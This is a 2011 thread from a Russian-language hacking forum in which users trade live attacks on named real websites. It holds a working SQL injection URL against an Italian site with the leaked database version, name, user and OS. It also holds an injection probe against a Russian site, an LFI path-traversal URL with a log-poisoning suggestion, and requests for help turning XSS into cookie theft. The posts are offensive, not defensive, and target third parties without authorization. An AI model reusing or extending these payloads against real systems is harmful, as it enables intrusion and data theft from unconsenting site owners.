 |
|
08.06.2011, 20:43
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
ты пробелы удали из урла
|
|
|
08.06.2011, 20:44
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
http://www.cms.it/prodotti.php?lang=eng&pc=-49+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,ver sion(),database(),user(),@@version_compile_os),10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,4 4,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60, 61,62,63,64+--+
5.0.77-log:cms_it_db_01:cms_it_dba@localhost:redhat-linux-gnu
|
|
|
|
08.06.2011, 22:11
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Какая здесь ветка, кто-нибудь может ответить?
Сообщение от None
http://www.riviera-home.ru/gallery1.php?city=-99999999'+order+by+10+--+
|
|
|
|
08.06.2011, 22:44
|
|
Новичок
Регистрация: 13.04.2010
Сообщений: 0
С нами:
8462565
Репутация:
0
|
|
на этом сайте нашол пару xss _http://shock-world.com/
в полях регистрации email и name но они до ужаса бесполезные.
есть кто поможет дальше прокрутить ? потому что я пока ничего ненашол , но уверен есть там дырки
|
|
|
|
08.06.2011, 22:46
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от FlaktW
Какая здесь ветка, кто-нибудь может ответить?
3
Ваше сообщение слишком короткое. Оно должно быть не менее 4 символов.
|
|
|
|
08.06.2011, 22:46
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Тогда ищи их, а с вопросами - сюда.
За тебя никто ничего делать не будет.
|
|
|
|
08.06.2011, 22:53
|
|
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
С нами:
8563393
Репутация:
28
|
|
есть сайт с LFI, при чтении /proc/self/environ получается вот что:
Сообщение от None
???????????????????????????u????????????1????????? ?????????????????????????????????????????????????? ?????1???????????????????????????????????????????? ???????????????????????????????????8??????????e??? ?????????????????????????????????????????????????? ?????????????????????????????????????????????????? ???????????????????????????0???????????1?????????? ???u?????????????????????????????????????????????? ?????????????????????????????????????????????????? ?????????n???????????????????????????????????????? ????????????????????????4????????4???????????????? ????????????????????????????????????????0????????? ?????????????????????????p???????????????????????5 ????????????????????????u??????????????u?????????? ?????????0????????=???????????
/proc/self/cmdline
Сообщение от None
??????/??????????????????????????
link: http://staltorgmoscow.ru/index.php?option=com_canteen&controller=../../../../../../../proc/self/cmdline%00
WTF?oO |
|
|
|
08.06.2011, 22:54
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
[stranger], ссылка?
|
|
|
|
09.06.2011, 05:41
|
|
Познающий
Регистрация: 18.12.2010
Сообщений: 35
С нами:
8105366
Репутация:
0
|
|
Есть xss, выполнить можно только
Сообщение от None
alert(String.fromCharCode(98,108,97,45,98,108,97))
Ну или просто
Сообщение от None
alert(/asd/)
Символы как:
Фильтруются.
Пробовал по разному, и так:
Сообщение от None
img = new Image(); img.src = String.fromCharCode(...)+document.....
И просто даже все брал в String.fromCharCode.
Но все безуспешно. Помогите плиз, правильно составить запрос. |
|
|
|
09.06.2011, 06:29
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
WTF?oO , файлы находящиеся за корнем отличаются от кодировки файлов находящимся в каталоге сайта т е файлы читаются в кодировке, отличной от их изначальной кодировки. Надо искать что то в пределах сайта/на другом сайте, если есть доступ:
Код:
http://staltorgmoscow.ru/index.php?option=com_canteen&controller=../../../robots.txt%00ddd
Так же можно найти путь к логам, и послать в них данные в кодировке, в которой они читаются и выводятся.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [stranger]](/avatars/avatar113122.jpg?2706157){kind=avatar}
Похожие темы
Линейный вид
